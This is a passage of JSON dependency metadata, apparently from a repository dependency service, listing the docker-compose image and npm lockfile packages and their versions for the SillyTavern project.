":"build","optional":false}]},{"ecosystem":"docker","filepath":"docker/docker-compose.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T14:36:00.359Z","updated_at":"2023-09-22T14:36:00.359Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/docker/docker-compose.yml","dependencies":[{"id":13876248299,"package_name":"sillytavern/sillytavern","ecosystem":"docker","requirements":"latest","direct":true,"kind":"runtime","optional":false}]},{"ecosystem":"npm","filepath":"package-lock.json","sha":null,"kind":"lockfile","created_at":"2023-09-22T14:36:01.396Z","updated_at":"2023-09-22T14:36:01.396Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/package-lock.json","dependencies":[{"id":13876248360,"package_name":"@agnai/sentencepiece-js","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876248361,"package_name":"@agnai/web-tokenizers","ecosystem":"npm","requirements":"0.1.3","direct":false,"kind":"runtime","optional":false},{"id":13876248362,"package_name":"@babel/generator","ecosystem":"npm","requirements":"7.18.2","direct":false,"kind":"development","optional":false},{"id":13876248363,"package_name":"@babel/helper-string-parser","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"development","optional":false},{"id":13876248364,"package_name":"@babel/helper-validator-identifier","ecosystem":"npm","requirements":"7.22.5","direct":false,"kind":"development","optional":false},{"id":13876248365,"package_name":"@babel/parser","ecosystem":"npm","requirements":"7.18.4","direct":false,"kind":"development","optional":false},{"id":13876248366,"package_name":"@babel/types","ecosystem":"npm","requirements":"7.19.0","direct":false,"kind":"development","optional":false},{"id":13876248367,"package_name":"@dqbd/tiktoken","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"runtime","optional":false},{"id":13876248368,"package_name":"@jimp/bmp","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248369,"package_name":"@jimp/core","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248370,"package_name":"@jimp/custom","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248371,"package_name":"@jimp/gif","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248372,"package_name":"@jimp/jpeg","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248373,"package_name":"@jimp/plugin-blit","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248374,"package_name":"@jimp/plugin-blur","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248375,"package_name":"@jimp/plugin-circle","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248376,"package_name":"@jimp/plugin-color","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248377,"package_name":"@jimp/plugin-contain","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248378,"package_name":"@jimp/plugin-cover","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248379,"package_name":"@jimp/plugin-crop","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248380,"package_name":"@jimp/plugin-displace","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248381,"package_name":"@jimp/plugin-dither","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248382,"package_name":"@jimp/plugin-fisheye","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248383,"package_name":"@jimp/plugin-flip","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248384,"package_name":"@jimp/plugin-gaussian","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248385,"package_name":"@jimp/plugin-invert","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248832,"package_name":"dir-glob","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":13876248833,"package_name":"dom-walk","ecosystem":"npm","requirements":"0.1.2","direct":false,"kind":"runtime","optional":false},{"id":13876248834,"package_name":"ee-first","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876248835,"package_name":"emoji-regex","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248386,"package_name":"@jimp/plugin-mask","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248387,"package_name":"@jimp/plugin-normalize","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248388,"package_name":"@jimp/plugin-print","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248389,"package_name":"@jimp/plugin-resize","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248390,"package_name":"@jimp/plugin-rotate","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248391,"package_name":"@jimp/plugin-scale","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248392,"package_name":"@jimp/plugin-shadow","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248393,"package_name":"@jimp/plugin-threshold","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248394,"package_name":"@jimp/plugins","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248395,"package_name":"@jimp/png","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248396,"package_name":"@jimp/tiff","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248397,"package_name":"@jimp/types","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248398,"package_name":"@jimp/utils","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248399,"package_name":"@jridgewell/gen-mapping","ecosystem":"npm","requirements":"0.3.3","direct":false,"kind":"development","optional":false},{"id":13876248400,"package_name":"@jridgewell/resolve-uri","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":13876248401,"package_name":"@jridgewell/set-array","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":13876248402,"package_name":"@jridgewell/sourcemap-codec","ecosystem":"npm","requirements":"1.4.15","direct":false,"kind":"development","optional":false},{"id":13876248403,"package_name":"@jridgewell/trace-mapping","ecosystem":"npm","requirements":"0.3.18","direct":false,"kind":"development","optional":false},{"id":13876248404,"package_name":"@jridgewell/sourcemap-codec","ecosystem":"npm","requirements":"1.4.14","direct":false,"kind":"development","optional":false},{"id":13876248405,"package_name":"@kwsites/file-exists","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876248406,"package_name":"debug","ecosystem":"npm","requirements":"4.3.4","direct":false,"kind":"runtime","optional":false},{"id":13876248407,"package_name":"ms","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"runtime","optional":false},{"id":13876248408,"package_name":"@kwsites/promise-deferred","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876248409,"package_name":"@nodelib/fs.scandir","ecosystem":"npm","requirements":"2.1.5","direct":false,"kind":"development","optional":false},{"id":13876248410,"package_name":"@nodelib/fs.stat","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":13876248411,"package_name":"@nodelib/fs.walk","ecosystem":"npm","requirements":"1.2.8","direct":false,"kind":"development","optional":false},{"id":13876248412,"package_name":"@tokenizer/token","ecosystem":"npm","requirements":"0.3.0","direct":false,"kind":"runtime","optional":false},{"id":13876248413,"package_name":"@types/node","ecosystem":"npm","requirements":"16.9.1","direct":false,"kind":"runtime","optional":false},{"id":13876248414,"package_name":"accepts","ecosystem":"npm","requirements":"1.3.8","direct":false,"kind":"runtime","optional":false},{"id":13876248415,"package_name":"agent-base","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"development","optional":false},{"id":13876248416,"package_name":"debug","ecosystem":"npm","requirements":"4.3.4","direct":false,"kind":"development","optional":false},{"id":13876248417,"package_name":"ms","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":13876248418,"package_name":"ansi-regex","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876248419,"package_name":"ansi-styles","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"runtime","optional":false},{"id":13876248420,"package_name":"any-base","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":13876248421,"package_name":"app-root-path","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":13876248422,"package_name":"append-field","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248423,"package_name":"array-flatten","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876248424,"package_name":"array-keyed-map","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"runtime","optional":false},{"id":13876248623,"package_name":"array-union","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":13876248626,"package_name":"at-least-node","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":13876248628,"package_name":"base64-js","ecosystem":"npm","requirements":"1.5.1","direct":false,"kind":"runtime","optional":false},{"id":13876248631,"package_name":"bl","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":13876248633,"package_name":"readable-stream","ecosystem":"npm","requirements":"3.6.2","direct":false,"kind":"development","optional":false},{"id":13876248635,"package_name":"bmp-js","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"runtime","optional":false},{"id":13876248637,"package_name":"body-parser","ecosystem":"npm","requirements":"1.20.1","direct":false,"kind":"runtime","optional":false},{"id":13876248640,"package_name":"bytes","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"runtime","optional":false},{"id":13876248642,"package_name":"braces","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":13876248644,"package_name":"buffer","ecosystem":"npm","requirements":"5.7.1","direct":false,"kind":"runtime","optional":false},{"id":13876248646,"package_name":"buffer-crc32","ecosystem":"npm","requirements":"0.2.13","direct":false,"kind":"runtime","optional":false},{"id":13876248648,"package_name":"buffer-equal","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876248650,"package_name":"buffer-from","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":13876248653,"package_name":"busboy","ecosystem":"npm","requirements":"1.6.0","direct":false,"kind":"runtime","optional":false},{"id":13876248654,"package_name":"bytes","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248656,"package_name":"call-bind","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":13876248659,"package_name":"chalk","ecosystem":"npm","requirements":"4.1.2","direct":false,"kind":"development","optional":false},{"id":13876248661,"package_name":"chownr","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":13876248663,"package_name":"cliui","ecosystem":"npm","requirements":"8.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876248665,"package_name":"color-convert","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876248667,"package_name":"color-name","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"runtime","optional":false},{"id":13876248670,"package_name":"command-exists","ecosystem":"npm","requirements":"1.2.9","direct":false,"kind":"runtime","optional":false},{"id":13876248673,"package_name":"compressible","ecosystem":"npm","requirements":"2.0.18","direct":false,"kind":"runtime","optional":false},{"id":13876248675,"package_name":"compression","ecosystem":"npm","requirements":"1.7.4","direct":false,"kind":"runtime","optional":false},{"id":13876248677,"package_name":"concat-stream","ecosystem":"npm","requirements":"1.6.2","direct":false,"kind":"runtime","optional":false},{"id":13876248679,"package_name":"content-disposition","ecosystem":"npm","requirements":"0.5.4","direct":false,"kind":"runtime","optional":false},{"id":13876248682,"package_name":"safe-buffer","ecosystem":"npm","requirements":"5.2.1","direct":false,"kind":"runtime","optional":false},{"id":13876248684,"package_name":"content-type","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"runtime","optional":false},{"id":13876248687,"package_name":"cookie","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"runtime","optional":false},{"id":13876248689,"package_name":"cookie-parser","ecosystem":"npm","requirements":"1.4.6","direct":false,"kind":"runtime","optional":false},{"id":13876248692,"package_name":"cookie-signature","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"runtime","optional":false},{"id":13876248694,"package_name":"core-util-is","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":13876248696,"package_name":"cors","ecosystem":"npm","requirements":"2.8.5","direct":false,"kind":"runtime","optional":false},{"id":13876248698,"package_name":"crc-32","ecosystem":"npm","requirements":"0.3.0","direct":false,"kind":"runtime","optional":false},{"id":13876248701,"package_name":"csrf-csrf","ecosystem":"npm","requirements":"2.2.4","direct":false,"kind":"runtime","optional":false},{"id":13876248704,"package_name":"debug","ecosystem":"npm","requirements":"2.6.9","direct":false,"kind":"runtime","optional":false},{"id":13876248706,"package_name":"decompress-response","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":13876248708,"package_name":"deep-extend","ecosystem":"npm","requirements":"0.6.0","direct":false,"kind":"development","optional":false},{"id":13876248710,"package_name":"define-lazy-prop","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248713,"package_name":"depd","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248715,"package_name":"destroy","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":13876248718,"package_name":"detect-libc","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":13876248720,"package_name":"device-detector-js","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"runtime","optional":false},{"id":13876248836,"package_name":"encodeurl","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":13876248837,"package_name":"end-of-stream","ecosystem":"npm","requirements":"1.4.4","direct":false,"kind":"development","optional":false},{"id":13876248838,"package_name":"escalade","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876248839,"package_name":"escape-html","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":13876248840,"package_name":"etag","ecosystem":"npm","requirements":"1.8.1","direct":false,"kind":"runtime","optional":false},{"id":13876248841,"package_name":"exif-parser","ecosystem":"npm","requirements":"0.1.12","direct":false,"kind":"runtime","optional":false},{"id":13876248842,"package_name":"expand-template","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":13876248843,"package_name":"express","ecosystem":"npm","requirements":"4.18.2","direct":false,"kind":"runtime","optional":false},{"id":13876248844,"package_name":"cookie","ecosystem":"npm","requirements":"0.5.0","direct":false,"kind":"runtime","optional":false},{"id":13876248845,"package_name":"fast-glob","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":13876248846,"package_name":"fastq","ecosystem":"npm","requirements":"1.15.0","direct":false,"kind":"development","optional":false},{"id":13876248847,"package_name":"fd-slicer","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":13876248848,"package_name":"file-type","ecosystem":"npm","requirements":"16.5.4","direct":false,"kind":"runtime","optional":false},{"id":13876248849,"package_name":"fill-range","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":13876248850,"package_name":"finalhandler","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":13876248851,"package_name":"forwarded","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"runtime","optional":false},{"id":13876248852,"package_name":"fresh","ecosystem":"npm","requirements":"0.5.2","direct":false,"kind":"runtime","optional":false},{"id":13876248853,"package_name":"from2","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"development","optional":false},{"id":13876248854,"package_name":"fs-constants","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":13876248855,"package_name":"fs-extra","ecosystem":"npm","requirements":"9.1.0","direct":false,"kind":"development","optional":false},{"id":13876248856,"package_name":"function-bind","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876248857,"package_name":"get-caller-file","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"runtime","optional":false},{"id":13876248858,"package_name":"get-intrinsic","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":13876248859,"package_name":"gifwrap","ecosystem":"npm","requirements":"0.9.4","direct":false,"kind":"runtime","optional":false},{"id":13876248860,"package_name":"github-from-package","ecosystem":"npm","requirements":"0.0.0","direct":false,"kind":"development","optional":false},{"id":13876248861,"package_name":"glob-parent","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":13876248862,"package_name":"global","ecosystem":"npm","requirements":"4.4.0","direct":false,"kind":"runtime","optional":false},{"id":13876248863,"package_name":"globby","ecosystem":"npm","requirements":"11.1.0","direct":false,"kind":"development","optional":false},{"id":13876248864,"package_name":"google-translate-api-browser","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876248865,"package_name":"gpt3-tokenizer","ecosystem":"npm","requirements":"1.1.5","direct":false,"kind":"runtime","optional":false},{"id":13876248866,"package_name":"graceful-fs","ecosystem":"npm","requirements":"4.2.11","direct":false,"kind":"development","optional":false},{"id":13876248867,"package_name":"has","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":13876248868,"package_name":"has-flag","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":13876248869,"package_name":"has-proto","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876248870,"package_name":"has-symbols","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":13876248871,"package_name":"http-errors","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248872,"package_name":"https-proxy-agent","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":13876248873,"package_name":"iconv-lite","ecosystem":"npm","requirements":"0.4.24","direct":false,"kind":"runtime","optional":false},{"id":13876248874,"package_name":"ieee754","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":13876248875,"package_name":"ignore","ecosystem":"npm","requirements":"5.2.4","direct":false,"kind":"development","optional":false},{"id":13876248876,"package_name":"image-q","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248877,"package_name":"imurmurhash","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"runtime","optional":false},{"id":13876248878,"package_name":"inherits","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"runtime","optional":false},{"id":13876248879,"package_name":"ini","ecosystem":"npm","requirements":"1.3.8","direct":false,"kind":"development","optional":false},{"id":13876248880,"package_name":"into-stream","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":13876248881,"package_name":"ip-matching","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"runtime","optional":false},{"id":13876248882,"package_name":"ipaddr.js","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":13876248883,"package_name":"is-core-module","ecosystem":"npm","requirements":"2.9.0","direct":false,"kind":"development","optional":false},{"id":13876248884,"package_name":"is-docker","ecosystem":"npm","requirements":"2.2.1","direct":false,"kind":"runtime","optional":false},{"id":13876248885,"package_name":"is-extglob","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":13876248886,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248887,"package_name":"is-function","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":13876248888,"package_name":"is-glob","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":13876248889,"package_name":"is-number","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":13876248890,"package_name":"is-wsl","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"runtime","optional":false},{"id":13876248891,"package_name":"isarray","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248892,"package_name":"isomorphic-fetch","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248893,"package_name":"jimp","ecosystem":"npm","requirements":"0.22.8","direct":false,"kind":"runtime","optional":false},{"id":13876248894,"package_name":"jpeg-js","ecosystem":"npm","requirements":"0.4.4","direct":false,"kind":"runtime","optional":false},{"id":13876248895,"package_name":"jquery","ecosystem":"npm","requirements":"3.7.0","direct":false,"kind":"runtime","optional":false},{"id":13876248896,"package_name":"jsesc","ecosystem":"npm","requirements":"2.5.2","direct":false,"kind":"development","optional":false},{"id":13876248897,"package_name":"json5","ecosystem":"npm","requirements":"2.2.3","direct":false,"kind":"runtime","optional":false},{"id":13876248898,"package_name":"jsonfile","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"development","optional":false},{"id":13876248899,"package_name":"load-bmfont","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"runtime","optional":false},{"id":13876248900,"package_name":"lodash","ecosystem":"npm","requirements":"4.17.21","direct":false,"kind":"runtime","optional":false},{"id":13876248901,"package_name":"lru-cache","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":13876248902,"package_name":"media-typer","ecosystem":"npm","requirements":"0.3.0","direct":false,"kind":"runtime","optional":false},{"id":13876248903,"package_name":"merge-descriptors","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876248904,"package_name":"merge2","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"development","optional":false},{"id":13876248905,"package_name":"methods","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":13876248906,"package_name":"micromatch","ecosystem":"npm","requirements":"4.0.5","direct":false,"kind":"development","optional":false},{"id":13876248907,"package_name":"mime","ecosystem":"npm","requirements":"1.6.0","direct":false,"kind":"runtime","optional":false},{"id":13876248908,"package_name":"mime-db","ecosystem":"npm","requirements":"1.52.0","direct":false,"kind":"runtime","optional":false},{"id":13876248909,"package_name":"mime-types","ecosystem":"npm","requirements":"2.1.35","direct":false,"kind":"runtime","optional":false},{"id":13876248910,"package_name":"mimic-response","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":13876248911,"package_name":"min-document","ecosystem":"npm","requirements":"2.19.0","direct":false,"kind":"runtime","optional":false},{"id":13876248912,"package_name":"minimist","ecosystem":"npm","requirements":"1.2.8","direct":false,"kind":"runtime","optional":false},{"id":13876248913,"package_name":"mkdirp","ecosystem":"npm","requirements":"2.1.6","direct":false,"kind":"runtime","optional":false},{"id":13876248914,"package_name":"mkdirp-classic","ecosystem":"npm","requirements":"0.5.3","direct":false,"kind":"development","optional":false},{"id":13876248915,"package_name":"ms","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248916,"package_name":"multer","ecosystem":"npm","requirements":"1.4.5-lts.1","direct":false,"kind":"runtime","optional":false},{"id":13876248917,"package_name":"mkdirp","ecosystem":"npm","requirements":"0.5.6","direct":false,"kind":"runtime","optional":false},{"id":13876248918,"package_name":"multistream","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":13876248919,"package_name":"napi-build-utils","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":13876248920,"package_name":"negotiator","ecosystem":"npm","requirements":"0.6.3","direct":false,"kind":"runtime","optional":false},{"id":13876248921,"package_name":"node-abi","ecosystem":"npm","requirements":"3.45.0","direct":false,"kind":"development","optional":false},{"id":13876248922,"package_name":"node-fetch","ecosystem":"npm","requirements":"2.6.12","direct":false,"kind":"runtime","optional":false},{"id":13876248923,"package_name":"object-assign","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"runtime","optional":false},{"id":13876248924,"package_name":"object-inspect","ecosystem":"npm","requirements":"1.12.3","direct":false,"kind":"runtime","optional":false},{"id":13876248925,"package_name":"omggif","ecosystem":"npm","requirements":"1.0.10","direct":false,"kind":"runtime","optional":false},{"id":13876248926,"package_name":"on-finished","ecosystem":"npm","requirements":"2.4.1","direct":false,"kind":"runtime","optional":false},{"id":13876248927,"package_name":"on-headers","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":13876248928,"package_name":"once","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":13876248929,"package_name":"open","ecosystem":"npm","requirements":"8.4.2","direct":false,"kind":"runtime","optional":false},{"id":13876248930,"package_name":"p-is-promise","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":13876248931,"package_name":"pako","ecosystem":"npm","requirements":"1.0.11","direct":false,"kind":"runtime","optional":false},{"id":13876248932,"package_name":"parse-bmfont-ascii","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"runtime","optional":false},{"id":13876248933,"package_name":"parse-bmfont-binary","ecosystem":"npm","requirements":"1.0.6","direct":false,"kind":"runtime","optional":false},{"id":13876248934,"package_name":"parse-bmfont-xml","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"runtime","optional":false},{"id":13876248935,"package_name":"xml2js","ecosystem":"npm","requirements":"0.5.0","direct":false,"kind":"runtime","optional":false},{"id":13876248936,"package_name":"parse-headers","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"runtime","optional":false},{"id":13876248937,"package_name":"parseurl","ecosystem":"npm","requirements":"1.3.3","direct":false,"kind":"runtime","optional":false},{"id":13876248938,"package_name":"path-parse","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"development","optional":false},{"id":13876248939,"package_name":"path-to-regexp","ecosystem":"npm","requirements":"0.1.7","direct":false,"kind":"runtime","optional":false},{"id":13876248940,"package_name":"path-type","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":13876248941,"package_name":"peek-readable","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"runtime","optional":false},{"id":13876248942,"package_name":"pend","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":13876248943,"package_name":"phin","ecosystem":"npm","requirements":"2.9.3","direct":false,"kind":"runtime","optional":false},{"id":13876248944,"package_name":"picomatch","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"development","optional":false},{"id":13876248945,"package_name":"pixelmatch","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"runtime","optional":false},{"id":13876248946,"package_name":"pngjs","ecosystem":"npm","requirements":"3.4.0","direct":false,"kind":"runtime","optional":false},{"id":13876248947,"package_name":"pkg","ecosystem":"npm","requirements":"5.8.1","direct":false,"kind":"development","optional":false},{"id":13876248948,"package_name":"pkg-fetch","ecosystem":"npm","requirements":"3.5.2","direct":false,"kind":"development","optional":false},{"id":13876248949,"package_name":"cliui","ecosystem":"npm","requirements":"7.0.4","direct":false,"kind":"development","optional":false},{"id":13876248950,"package_name":"yargs","ecosystem":"npm","requirements":"16.2.0","direct":false,"kind":"development","optional":false},{"id":13876248951,"package_name":"yargs-parser","ecosystem":"npm","requirements":"20.2.9","direct":false,"kind":"development","optional":false},{"id":13876248952,"package_name":"pkg-fetch","ecosystem":"npm","requirements":"3.4.2","direct":false,"kind":"development","optional":false},{"id":13876248953,"package_name":"png-chunk-text","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248954,"package_name":"png-chunks-encode","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248955,"package_name":"png-chunks-extract","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248956,"package_name":"pngjs","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"runtime","optional":false},{"id":13876248957,"package_name":"prebuild-install","ecosystem":"npm","requirements":"7.1.1","direct":false,"kind":"development","optional":false},{"id":13876248958,"package_name":"process","ecosystem":"npm","requirements":"0.11.10","direct":false,"kind":"runtime","optional":false},{"id":13876248959,"package_name":"process-nextick-args","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":13876248960,"package_name":"progress","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":13876248961,"package_name":"proxy-addr","ecosystem":"npm","requirements":"2.0.7","direct":false,"kind":"runtime","optional":false},{"id":13876248962,"package_name":"ipaddr.js","ecosystem":"npm","requirements":"1.9.1","direct":false,"kind":"runtime","optional":false},{"id":13876248963,"package_name":"pump","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":f